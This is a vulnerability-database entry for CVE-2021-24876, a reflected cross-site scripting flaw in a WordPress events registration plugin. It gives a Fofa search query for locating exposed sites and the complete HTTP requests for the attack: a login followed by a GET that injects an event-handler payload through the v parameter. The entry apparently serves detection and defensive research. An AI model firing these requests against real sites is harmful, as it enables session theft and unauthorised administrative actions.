🔙 목록으로 돌아가기

CVE-2021-24876: Registrations for The Events Calendar < 2.7.5 - Authenticated Reflected Cross-Site Scripting

TitleRegistrations for The Events Calendar < 2.7.5 - Authenticated Reflected Cross-Site Scripting
Authorpopcorn94
SeverityMedium
ImpactAttackers can inject malicious JavaScript via reflected XSS, potentially stealing administrator session cookies or performing administrative actions on behalf of authenticated users.
RemediationFixed in 2.7.5
CVSS Score6.1
EPSS Score0.00578
CVE IDCVE-2021-24876
CWE IDCWE-79
Fofa Querybody="/wp-content/plugins/registrations-for-the-events-calendar/"
Tags cve cve2021 wordpress wpscan wp-plugin wp registrations-for-the-events-calendar xss authenticated vkev vuln

🔍 Vulnerability Description

The Registrations for the Events Calendar WordPress plugin before 2.7.5 does not escape the v parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.3) AppleWebKit/614.31.14 (KHTML, like Gecko) Version/17.0.96 Safari/614.31.14
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=olwtRb&pwd=ntMc6V&wp-submit=Log+In
GET /wp-admin/admin.php?page=registrations-for-the-events-calendar&tab=registrations&v="+style=animation-name:rotation+onanimationstart=alert(document.domain)// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24876.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24876.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A